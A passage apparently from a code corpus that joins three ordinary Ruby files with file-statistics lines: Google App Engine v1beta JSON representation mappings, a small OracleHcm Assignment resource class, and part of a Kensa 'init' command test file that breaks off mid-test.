class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class HealthCheck
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class IdentityAwareProxy
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Instance
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Library
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListAuthorizedCertificatesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListAuthorizedDomainsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListDomainMappingsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListIngressRulesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListInstancesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListLocationsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListOperationsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListServicesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ListVersionsResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LivenessCheck
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Location
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class LocationMetadata
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ManagedCertificate
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ManualScaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Network
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NetworkSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class NetworkUtilization
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Operation
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OperationMetadataV1
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OperationMetadataV1Alpha
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class OperationMetadataV1Beta
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ReadinessCheck
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RepairApplicationRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class RequestUtilization
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ResourceRecord
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Resources
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ScriptHandler
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Service
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class SslSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class StandardSchedulerSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class StaticFilesHandler
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Status
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class TrafficSplit
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UrlDispatchRule
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class UrlMap
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Version
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Volume
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class VpcAccessConnector
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ZipInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ApiConfigHandler
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :auth_fail_action, as: 'authFailAction'
property :login, as: 'login'
property :script, as: 'script'
property :security_level, as: 'securityLevel'
property :url, as: 'url'
end
end
class ApiEndpointHandler
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :script_path, as: 'scriptPath'
end
end
class Application
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :auth_domain, as: 'authDomain'
property :code_bucket, as: 'codeBucket'
property :database_type, as: 'databaseType'
property :default_bucket, as: 'defaultBucket'
property :default_cookie_expiration, as: 'defaultCookieExpiration'
property :default_hostname, as: 'defaultHostname'
collection :dispatch_rules, as: 'dispatchRules', class: Google::Apis::AppengineV1beta::UrlDispatchRule, decorator: Google::Apis::AppengineV1beta::UrlDispatchRule::Representation
property :feature_settings, as: 'featureSettings', class: Google::Apis::AppengineV1beta::FeatureSettings, decorator: Google::Apis::AppengineV1beta::FeatureSettings::Representation
property :gcr_domain, as: 'gcrDomain'
property :iap, as: 'iap', class: Google::Apis::AppengineV1beta::IdentityAwareProxy, decorator: Google::Apis::AppengineV1beta::IdentityAwareProxy::Representation
property :id, as: 'id'
property :location_id, as: 'locationId'
property :name, as: 'name'
property :serving_status, as: 'servingStatus'
end
end
class AuthorizedCertificate
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :certificate_raw_data, as: 'certificateRawData', class: Google::Apis::AppengineV1beta::CertificateRawData, decorator: Google::Apis::AppengineV1beta::CertificateRawData::Representation
property :display_name, as: 'displayName'
property :domain_mappings_count, as: 'domainMappingsCount'
collection :domain_names, as: 'domainNames'
property :expire_time, as: 'expireTime'
property :id, as: 'id'
property :managed_certificate, as: 'managedCertificate', class: Google::Apis::AppengineV1beta::ManagedCertificate, decorator: Google::Apis::AppengineV1beta::ManagedCertificate::Representation
property :name, as: 'name'
collection :visible_domain_mappings, as: 'visibleDomainMappings'
end
end
class AuthorizedDomain
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :id, as: 'id'
property :name, as: 'name'
end
end
class AutomaticScaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cool_down_period, as: 'coolDownPeriod'
property :cpu_utilization, as: 'cpuUtilization', class: Google::Apis::AppengineV1beta::CpuUtilization, decorator: Google::Apis::AppengineV1beta::CpuUtilization::Representation
collection :custom_metrics, as: 'customMetrics', class: Google::Apis::AppengineV1beta::CustomMetric, decorator: Google::Apis::AppengineV1beta::CustomMetric::Representation
property :disk_utilization, as: 'diskUtilization', class: Google::Apis::AppengineV1beta::DiskUtilization, decorator: Google::Apis::AppengineV1beta::DiskUtilization::Representation
property :max_concurrent_requests, as: 'maxConcurrentRequests'
property :max_idle_instances, as: 'maxIdleInstances'
property :max_pending_latency, as: 'maxPendingLatency'
property :max_total_instances, as: 'maxTotalInstances'
property :min_idle_instances, as: 'minIdleInstances'
property :min_pending_latency, as: 'minPendingLatency'
property :min_total_instances, as: 'minTotalInstances'
property :network_utilization, as: 'networkUtilization', class: Google::Apis::AppengineV1beta::NetworkUtilization, decorator: Google::Apis::AppengineV1beta::NetworkUtilization::Representation
property :request_utilization, as: 'requestUtilization', class: Google::Apis::AppengineV1beta::RequestUtilization, decorator: Google::Apis::AppengineV1beta::RequestUtilization::Representation
property :standard_scheduler_settings, as: 'standardSchedulerSettings', class: Google::Apis::AppengineV1beta::StandardSchedulerSettings, decorator: Google::Apis::AppengineV1beta::StandardSchedulerSettings::Representation
end
end
class BasicScaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :idle_timeout, as: 'idleTimeout'
property :max_instances, as: 'maxInstances'
end
end
class BatchUpdateIngressRulesRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :ingress_rules, as: 'ingressRules', class: Google::Apis::AppengineV1beta::FirewallRule, decorator: Google::Apis::AppengineV1beta::FirewallRule::Representation
end
end
class BatchUpdateIngressRulesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :ingress_rules, as: 'ingressRules', class: Google::Apis::AppengineV1beta::FirewallRule, decorator: Google::Apis::AppengineV1beta::FirewallRule::Representation
end
end
class BuildInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cloud_build_id, as: 'cloudBuildId'
end
end
class CertificateRawData
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :private_key, as: 'privateKey'
property :public_certificate, as: 'publicCertificate'
end
end
class CloudBuildOptions
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :app_yaml_path, as: 'appYamlPath'
property :cloud_build_timeout, as: 'cloudBuildTimeout'
end
end
class ContainerInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :image, as: 'image'
end
end
class CpuUtilization
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :aggregation_window_length, as: 'aggregationWindowLength'
property :target_utilization, as: 'targetUtilization'
end
end
class CreateVersionMetadataV1
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cloud_build_id, as: 'cloudBuildId'
end
end
class CreateVersionMetadataV1Alpha
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cloud_build_id, as: 'cloudBuildId'
end
end
class CreateVersionMetadataV1Beta
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cloud_build_id, as: 'cloudBuildId'
end
end
class CustomMetric
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :filter, as: 'filter'
property :metric_name, as: 'metricName'
property :single_instance_assignment, as: 'singleInstanceAssignment'
property :target_type, as: 'targetType'
property :target_utilization, as: 'targetUtilization'
end
end
class DebugInstanceRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :ssh_key, as: 'sshKey'
end
end
class Deployment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :build, as: 'build', class: Google::Apis::AppengineV1beta::BuildInfo, decorator: Google::Apis::AppengineV1beta::BuildInfo::Representation
property :cloud_build_options, as: 'cloudBuildOptions', class: Google::Apis::AppengineV1beta::CloudBuildOptions, decorator: Google::Apis::AppengineV1beta::CloudBuildOptions::Representation
property :container, as: 'container', class: Google::Apis::AppengineV1beta::ContainerInfo, decorator: Google::Apis::AppengineV1beta::ContainerInfo::Representation
hash :files, as: 'files', class: Google::Apis::AppengineV1beta::FileInfo, decorator: Google::Apis::AppengineV1beta::FileInfo::Representation
property :zip, as: 'zip', class: Google::Apis::AppengineV1beta::ZipInfo, decorator: Google::Apis::AppengineV1beta::ZipInfo::Representation
end
end
class DiskUtilization
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :target_read_bytes_per_second, as: 'targetReadBytesPerSecond'
property :target_read_ops_per_second, as: 'targetReadOpsPerSecond'
property :target_write_bytes_per_second, as: 'targetWriteBytesPerSecond'
property :target_write_ops_per_second, as: 'targetWriteOpsPerSecond'
end
end
class DomainMapping
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :id, as: 'id'
property :name, as: 'name'
collection :resource_records, as: 'resourceRecords', class: Google::Apis::AppengineV1beta::ResourceRecord, decorator: Google::Apis::AppengineV1beta::ResourceRecord::Representation
property :ssl_settings, as: 'sslSettings', class: Google::Apis::AppengineV1beta::SslSettings, decorator: Google::Apis::AppengineV1beta::SslSettings::Representation
end
end
class Empty
# @private
class Representation < Google::Apis::Core::JsonRepresentation
end
end
class EndpointsApiService
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :config_id, as: 'configId'
property :disable_trace_sampling, as: 'disableTraceSampling'
property :name, as: 'name'
property :rollout_strategy, as: 'rolloutStrategy'
end
end
class Entrypoint
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :shell, as: 'shell'
end
end
class ErrorHandler
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :error_code, as: 'errorCode'
property :mime_type, as: 'mimeType'
property :static_file, as: 'staticFile'
end
end
class FeatureSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :split_health_checks, as: 'splitHealthChecks'
property :use_container_optimized_os, as: 'useContainerOptimizedOs'
end
end
class FileInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :mime_type, as: 'mimeType'
property :sha1_sum, as: 'sha1Sum'
property :source_url, as: 'sourceUrl'
end
end
class FirewallRule
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :action, as: 'action'
property :description, as: 'description'
property :priority, as: 'priority'
property :source_range, as: 'sourceRange'
end
end
class HealthCheck
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :check_interval, as: 'checkInterval'
property :disable_health_check, as: 'disableHealthCheck'
property :healthy_threshold, as: 'healthyThreshold'
property :host, as: 'host'
property :restart_threshold, as: 'restartThreshold'
property :timeout, as: 'timeout'
property :unhealthy_threshold, as: 'unhealthyThreshold'
end
end
class IdentityAwareProxy
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
property :oauth2_client_id, as: 'oauth2ClientId'
property :oauth2_client_secret, as: 'oauth2ClientSecret'
property :oauth2_client_secret_sha256, as: 'oauth2ClientSecretSha256'
end
end
class Instance
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :app_engine_release, as: 'appEngineRelease'
property :availability, as: 'availability'
property :average_latency, as: 'averageLatency'
property :errors, as: 'errors'
property :id, as: 'id'
property :memory_usage, :numeric_string => true, as: 'memoryUsage'
property :name, as: 'name'
property :qps, as: 'qps'
property :requests, as: 'requests'
property :start_time, as: 'startTime'
property :vm_debug_enabled, as: 'vmDebugEnabled'
property :vm_id, as: 'vmId'
property :vm_ip, as: 'vmIp'
property :vm_liveness, as: 'vmLiveness'
property :vm_name, as: 'vmName'
property :vm_status, as: 'vmStatus'
property :vm_zone_name, as: 'vmZoneName'
end
end
class Library
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :version, as: 'version'
end
end
class ListAuthorizedCertificatesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :certificates, as: 'certificates', class: Google::Apis::AppengineV1beta::AuthorizedCertificate, decorator: Google::Apis::AppengineV1beta::AuthorizedCertificate::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListAuthorizedDomainsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :domains, as: 'domains', class: Google::Apis::AppengineV1beta::AuthorizedDomain, decorator: Google::Apis::AppengineV1beta::AuthorizedDomain::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListDomainMappingsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :domain_mappings, as: 'domainMappings', class: Google::Apis::AppengineV1beta::DomainMapping, decorator: Google::Apis::AppengineV1beta::DomainMapping::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListIngressRulesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :ingress_rules, as: 'ingressRules', class: Google::Apis::AppengineV1beta::FirewallRule, decorator: Google::Apis::AppengineV1beta::FirewallRule::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListInstancesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :instances, as: 'instances', class: Google::Apis::AppengineV1beta::Instance, decorator: Google::Apis::AppengineV1beta::Instance::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListLocationsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :locations, as: 'locations', class: Google::Apis::AppengineV1beta::Location, decorator: Google::Apis::AppengineV1beta::Location::Representation
property :next_page_token, as: 'nextPageToken'
end
end
class ListOperationsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :next_page_token, as: 'nextPageToken'
collection :operations, as: 'operations', class: Google::Apis::AppengineV1beta::Operation, decorator: Google::Apis::AppengineV1beta::Operation::Representation
end
end
class ListServicesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :next_page_token, as: 'nextPageToken'
collection :services, as: 'services', class: Google::Apis::AppengineV1beta::Service, decorator: Google::Apis::AppengineV1beta::Service::Representation
end
end
class ListVersionsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :next_page_token, as: 'nextPageToken'
collection :versions, as: 'versions', class: Google::Apis::AppengineV1beta::Version, decorator: Google::Apis::AppengineV1beta::Version::Representation
end
end
class LivenessCheck
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :check_interval, as: 'checkInterval'
property :failure_threshold, as: 'failureThreshold'
property :host, as: 'host'
property :initial_delay, as: 'initialDelay'
property :path, as: 'path'
property :success_threshold, as: 'successThreshold'
property :timeout, as: 'timeout'
end
end
class Location
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :display_name, as: 'displayName'
hash :labels, as: 'labels'
property :location_id, as: 'locationId'
hash :metadata, as: 'metadata'
property :name, as: 'name'
end
end
class LocationMetadata
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :flexible_environment_available, as: 'flexibleEnvironmentAvailable'
property :standard_environment_available, as: 'standardEnvironmentAvailable'
end
end
class ManagedCertificate
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :last_renewal_time, as: 'lastRenewalTime'
property :status, as: 'status'
end
end
class ManualScaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :instances, as: 'instances'
end
end
class Network
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :forwarded_ports, as: 'forwardedPorts'
property :instance_tag, as: 'instanceTag'
property :name, as: 'name'
property :session_affinity, as: 'sessionAffinity'
property :subnetwork_name, as: 'subnetworkName'
end
end
class NetworkSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :ingress_traffic_allowed, as: 'ingressTrafficAllowed'
end
end
class NetworkUtilization
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :target_received_bytes_per_second, as: 'targetReceivedBytesPerSecond'
property :target_received_packets_per_second, as: 'targetReceivedPacketsPerSecond'
property :target_sent_bytes_per_second, as: 'targetSentBytesPerSecond'
property :target_sent_packets_per_second, as: 'targetSentPacketsPerSecond'
end
end
class Operation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :done, as: 'done'
property :error, as: 'error', class: Google::Apis::AppengineV1beta::Status, decorator: Google::Apis::AppengineV1beta::Status::Representation
hash :metadata, as: 'metadata'
property :name, as: 'name'
hash :response, as: 'response'
end
end
class OperationMetadataV1
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :create_version_metadata, as: 'createVersionMetadata', class: Google::Apis::AppengineV1beta::CreateVersionMetadataV1, decorator: Google::Apis::AppengineV1beta::CreateVersionMetadataV1::Representation
property :end_time, as: 'endTime'
property :ephemeral_message, as: 'ephemeralMessage'
property :insert_time, as: 'insertTime'
property :method_prop, as: 'method'
property :target, as: 'target'
property :user, as: 'user'
collection :warning, as: 'warning'
end
end
class OperationMetadataV1Alpha
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :create_version_metadata, as: 'createVersionMetadata', class: Google::Apis::AppengineV1beta::CreateVersionMetadataV1Alpha, decorator: Google::Apis::AppengineV1beta::CreateVersionMetadataV1Alpha::Representation
property :end_time, as: 'endTime'
property :ephemeral_message, as: 'ephemeralMessage'
property :insert_time, as: 'insertTime'
property :method_prop, as: 'method'
property :target, as: 'target'
property :user, as: 'user'
collection :warning, as: 'warning'
end
end
class OperationMetadataV1Beta
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :create_version_metadata, as: 'createVersionMetadata', class: Google::Apis::AppengineV1beta::CreateVersionMetadataV1Beta, decorator: Google::Apis::AppengineV1beta::CreateVersionMetadataV1Beta::Representation
property :end_time, as: 'endTime'
property :ephemeral_message, as: 'ephemeralMessage'
property :insert_time, as: 'insertTime'
property :method_prop, as: 'method'
property :target, as: 'target'
property :user, as: 'user'
collection :warning, as: 'warning'
end
end
class ReadinessCheck
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :app_start_timeout, as: 'appStartTimeout'
property :check_interval, as: 'checkInterval'
property :failure_threshold, as: 'failureThreshold'
property :host, as: 'host'
property :path, as: 'path'
property :success_threshold, as: 'successThreshold'
property :timeout, as: 'timeout'
end
end
class RepairApplicationRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
end
end
class RequestUtilization
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :target_concurrent_requests, as: 'targetConcurrentRequests'
property :target_request_count_per_second, as: 'targetRequestCountPerSecond'
end
end
class ResourceRecord
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :rrdata, as: 'rrdata'
property :type, as: 'type'
end
end
class Resources
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cpu, as: 'cpu'
property :disk_gb, as: 'diskGb'
property :kms_key_reference, as: 'kmsKeyReference'
property :memory_gb, as: 'memoryGb'
collection :volumes, as: 'volumes', class: Google::Apis::AppengineV1beta::Volume, decorator: Google::Apis::AppengineV1beta::Volume::Representation
end
end
class ScriptHandler
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :script_path, as: 'scriptPath'
end
end
class Service
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :id, as: 'id'
property :name, as: 'name'
property :network_settings, as: 'networkSettings', class: Google::Apis::AppengineV1beta::NetworkSettings, decorator: Google::Apis::AppengineV1beta::NetworkSettings::Representation
property :split, as: 'split', class: Google::Apis::AppengineV1beta::TrafficSplit, decorator: Google::Apis::AppengineV1beta::TrafficSplit::Representation
end
end
class SslSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :certificate_id, as: 'certificateId'
property :pending_managed_certificate_id, as: 'pendingManagedCertificateId'
property :ssl_management_type, as: 'sslManagementType'
end
end
class StandardSchedulerSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :max_instances, as: 'maxInstances'
property :min_instances, as: 'minInstances'
property :target_cpu_utilization, as: 'targetCpuUtilization'
property :target_throughput_utilization, as: 'targetThroughputUtilization'
end
end
class StaticFilesHandler
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :application_readable, as: 'applicationReadable'
property :expiration, as: 'expiration'
hash :http_headers, as: 'httpHeaders'
property :mime_type, as: 'mimeType'
property :path, as: 'path'
property :require_matching_file, as: 'requireMatchingFile'
property :upload_path_regex, as: 'uploadPathRegex'
end
end
class Status
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :code, as: 'code'
collection :details, as: 'details'
property :message, as: 'message'
end
end
class TrafficSplit
# @private
class Representation < Google::Apis::Core::JsonRepresentation
hash :allocations, as: 'allocations'
property :shard_by, as: 'shardBy'
end
end
class UrlDispatchRule
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :domain, as: 'domain'
property :path, as: 'path'
property :service, as: 'service'
end
end
class UrlMap
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :api_endpoint, as: 'apiEndpoint', class: Google::Apis::AppengineV1beta::ApiEndpointHandler, decorator: Google::Apis::AppengineV1beta::ApiEndpointHandler::Representation
property :auth_fail_action, as: 'authFailAction'
property :login, as: 'login'
property :redirect_http_response_code, as: 'redirectHttpResponseCode'
property :script, as: 'script', class: Google::Apis::AppengineV1beta::ScriptHandler, decorator: Google::Apis::AppengineV1beta::ScriptHandler::Representation
property :security_level, as: 'securityLevel'
property :static_files, as: 'staticFiles', class: Google::Apis::AppengineV1beta::StaticFilesHandler, decorator: Google::Apis::AppengineV1beta::StaticFilesHandler::Representation
property :url_regex, as: 'urlRegex'
end
end
class Version
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :api_config, as: 'apiConfig', class: Google::Apis::AppengineV1beta::ApiConfigHandler, decorator: Google::Apis::AppengineV1beta::ApiConfigHandler::Representation
property :app_engine_apis, as: 'appEngineApis'
property :automatic_scaling, as: 'automaticScaling', class: Google::Apis::AppengineV1beta::AutomaticScaling, decorator: Google::Apis::AppengineV1beta::AutomaticScaling::Representation
property :basic_scaling, as: 'basicScaling', class: Google::Apis::AppengineV1beta::BasicScaling, decorator: Google::Apis::AppengineV1beta::BasicScaling::Representation
hash :beta_settings, as: 'betaSettings'
hash :build_env_variables, as: 'buildEnvVariables'
property :create_time, as: 'createTime'
property :created_by, as: 'createdBy'
property :default_expiration, as: 'defaultExpiration'
property :deployment, as: 'deployment', class: Google::Apis::AppengineV1beta::Deployment, decorator: Google::Apis::AppengineV1beta::Deployment::Representation
property :disk_usage_bytes, :numeric_string => true, as: 'diskUsageBytes'
property :endpoints_api_service, as: 'endpointsApiService', class: Google::Apis::AppengineV1beta::EndpointsApiService, decorator: Google::Apis::AppengineV1beta::EndpointsApiService::Representation
property :entrypoint, as: 'entrypoint', class: Google::Apis::AppengineV1beta::Entrypoint, decorator: Google::Apis::AppengineV1beta::Entrypoint::Representation
property :env, as: 'env'
hash :env_variables, as: 'envVariables'
collection :error_handlers, as: 'errorHandlers', class: Google::Apis::AppengineV1beta::ErrorHandler, decorator: Google::Apis::AppengineV1beta::ErrorHandler::Representation
collection :handlers, as: 'handlers', class: Google::Apis::AppengineV1beta::UrlMap, decorator: Google::Apis::AppengineV1beta::UrlMap::Representation
property :health_check, as: 'healthCheck', class: Google::Apis::AppengineV1beta::HealthCheck, decorator: Google::Apis::AppengineV1beta::HealthCheck::Representation
property :id, as: 'id'
collection :inbound_services, as: 'inboundServices'
property :instance_class, as: 'instanceClass'
collection :libraries, as: 'libraries', class: Google::Apis::AppengineV1beta::Library, decorator: Google::Apis::AppengineV1beta::Library::Representation
property :liveness_check, as: 'livenessCheck', class: Google::Apis::AppengineV1beta::LivenessCheck, decorator: Google::Apis::AppengineV1beta::LivenessCheck::Representation
property :manual_scaling, as: 'manualScaling', class: Google::Apis::AppengineV1beta::ManualScaling, decorator: Google::Apis::AppengineV1beta::ManualScaling::Representation
property :name, as: 'name'
property :network, as: 'network', class: Google::Apis::AppengineV1beta::Network, decorator: Google::Apis::AppengineV1beta::Network::Representation
property :nobuild_files_regex, as: 'nobuildFilesRegex'
property :readiness_check, as: 'readinessCheck', class: Google::Apis::AppengineV1beta::ReadinessCheck, decorator: Google::Apis::AppengineV1beta::ReadinessCheck::Representation
property :resources, as: 'resources', class: Google::Apis::AppengineV1beta::Resources, decorator: Google::Apis::AppengineV1beta::Resources::Representation
property :runtime, as: 'runtime'
property :runtime_api_version, as: 'runtimeApiVersion'
property :runtime_channel, as: 'runtimeChannel'
property :runtime_main_executable_path, as: 'runtimeMainExecutablePath'
property :serving_status, as: 'servingStatus'
property :threadsafe, as: 'threadsafe'
property :version_url, as: 'versionUrl'
property :vm, as: 'vm'
property :vpc_access_connector, as: 'vpcAccessConnector', class: Google::Apis::AppengineV1beta::VpcAccessConnector, decorator: Google::Apis::AppengineV1beta::VpcAccessConnector::Representation
collection :zones, as: 'zones'
end
end
class Volume
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :size_gb, as: 'sizeGb'
property :volume_type, as: 'volumeType'
end
end
class VpcAccessConnector
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
end
end
class ZipInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :files_count, as: 'filesCount'
property :source_url, as: 'sourceUrl'
end
end
end
end
end
| 38.340306
| 230
| 0.65044
|
610fa91d288dfd7ab7746694bb938d9f1a5e0128
| 338
|
require "oracle_hcm/resource"
module OracleHcm
class Assignment < Resource
property :business_unit_id, key: "BusinessUnitId"
property :business_unit, key: "BusinessUnitName"
property :assignment_status, key: "AssignmentStatusType"
property :primary?, key: "PrimaryFlag"
property :job_code, key: "JobCode"
end
end
| 28.166667
| 60
| 0.748521
|
4a7db8572c5e49e639fbfd5a5242d8b9821b6968
| 1,953
|
require 'test/helper'
class InitTest < Test::Unit::TestCase
include FsMock
def test_init_doesnt_overwite_addon_manifest
File.open(@filename, 'w') { |f| f << '{}' }
any_instance_of(Heroku::Kensa::Client) do |client|
stub(client).gets { 'n' }
stub(client).print
stub(client).puts
end
assert_raises SystemExit do
kensa "init"
end
end
def test_init_defaults_to_sso_post
kensa "init"
manifest = read_json(@filename)
%w{test production}.each do |env|
%w{base_url sso_url}.each do |url|
assert manifest['api'][env][url] =~ /^http/
end
end
assert !File.exist?('.env')
end
def test_init_uses_file_flag
@filename = 'foo.json'
kensa "init -f #{@filename}"
assert !File.exist?('./addon-manifest.json')
assert !File.exist?('.env')
manifest = read_json(@filename)
end
def test_init_uses_sso_flag
kensa "init --sso get"
manifest = read_json(@filename)
%w{test production}.each do |env|
assert manifest['api'][env] =~ /^http/
end
assert !File.exist?('.env')
end
def assert_foreman_env(env, manifest)
assert env.include?("SSO_SALT=#{manifest['api']['sso_salt']}\n")
assert env.include?("HEROKU_USERNAME=#{manifest['id']}\n")
assert env.include?("HEROKU_PASSWORD=#{manifest['api']['password']}")
end
def test_init_with_foreman_flag_and_get
kensa "init --foreman --sso get"
env = File.open(".env").read
